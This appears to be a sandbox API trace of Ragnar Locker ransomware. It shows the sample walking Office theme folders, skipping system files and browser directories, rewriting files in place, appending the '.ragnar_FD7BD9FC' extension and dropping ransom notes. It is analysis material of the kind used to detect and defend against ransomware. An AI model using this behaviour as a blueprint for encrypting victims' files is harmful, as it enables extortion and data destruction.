[0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0070.812] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0070.812] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0070.812] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0070.812] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0070.812] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0070.812] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0070.812] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0070.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0070.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0070.813] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=19780) returned 1 [0070.813] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4d3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.813] GetProcessHeap () returned 0x580000 [0070.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.813] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.818] VirtualAlloc (lpAddress=0x0, dwSize=0x4d44, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.818] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.818] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.818] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4d44, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4d44, lpOverlapped=0x0) returned 1 [0070.842] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.842] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4d44, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.842] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4d44, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4d44, lpOverlapped=0x0) returned 1 [0070.842] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4d44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.842] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.842] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.842] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.842] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.843] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.843] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.843] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.843] GetProcessHeap () returned 0x580000 [0070.843] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.843] CloseHandle (hObject=0x10c) returned 1 [0070.844] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" [0070.844] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0070.844] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.844] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0070.845] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0070.845] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2=".") returned 1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="..") returned 1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="Windows") returned -1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="Windows.old") returned -1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="Tor browser") returned -1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="Internet Explorer") returned -1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="Google") returned -1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="Opera") returned -1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="Opera Software") returned -1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="Mozilla") returned -1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="Mozilla Firefox") returned -1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="$Recycle.Bin") returned 1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="ProgramData") returned -1 [0070.845] lstrcmpiW (lpString1="AXIS", lpString2="All Users") returned 1 [0070.845] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.845] lstrcpyW (in: lpString1=0x1eb638, lpString2="AXIS" | out: lpString1="AXIS") returned="AXIS" [0070.845] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\" [0070.845] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\" [0070.845] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\RGNR_FD7BD9FC.txt" [0070.845] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0070.849] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*" [0070.849] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0070.849] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0070.849] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0070.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c776220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c776220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0070.849] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0070.849] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c776220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c776220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.849] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0070.849] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0070.849] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0070.849] lstrcmpiW (lpString1="AXIS.ELM", lpString2=".") returned 1 [0070.849] lstrcmpiW (lpString1="AXIS.ELM", lpString2="..") returned 1 [0070.849] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0070.849] lstrcmpiW (lpString1="AXIS.INF", lpString2=".") returned 1 [0070.849] lstrcmpiW (lpString1="AXIS.INF", lpString2="..") returned 1 [0070.849] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0070.849] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0070.849] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0070.849] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c776220, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c776220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0070.849] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0070.850] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0070.850] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0070.850] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0070.850] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0070.850] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0070.850] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0070.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c776220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c776220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0070.850] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c776220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c776220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.850] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0070.850] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0070.850] lstrcpyW (in: lpString1=0x1eab6a, lpString2="AXIS.ELM" | out: lpString1="AXIS.ELM") returned="AXIS.ELM" [0070.850] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned=".ELM" [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="autorun.inf") returned 1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="boot.ini") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="bootfont.bin") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="bootsect.bak") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="bootmgr") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="bootmgr.efi") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="bootmgfw.efi") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="desktop.ini") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="iconcache.db") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="ntldr") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="ntuser.dat") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="ntuser.dat.log") returned -1 [0070.850] lstrcmpiW (lpString1="AXIS.ELM", lpString2="ntuser.ini") returned -1 [0070.851] lstrcmpiW (lpString1="AXIS.ELM", lpString2="thumbs.db") returned -1 [0070.851] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0070.851] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0070.851] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0070.851] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0070.851] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0070.851] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0070.851] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0070.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) returned 0x20 [0070.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0070.851] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=100798) returned 1 [0070.851] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x189b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.851] GetProcessHeap () returned 0x580000 [0070.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.851] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.892] VirtualAlloc (lpAddress=0x0, dwSize=0x189be, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.894] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.894] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.895] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x189be, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x189be, lpOverlapped=0x0) returned 1 [0070.903] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.906] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189be, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.906] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x189be, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x189be, lpOverlapped=0x0) returned 1 [0070.906] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.906] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.907] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x189be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.907] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.907] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.907] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.907] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.907] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.907] GetProcessHeap () returned 0x580000 [0070.907] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.907] CloseHandle (hObject=0x100) returned 1 [0070.910] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" [0070.910] 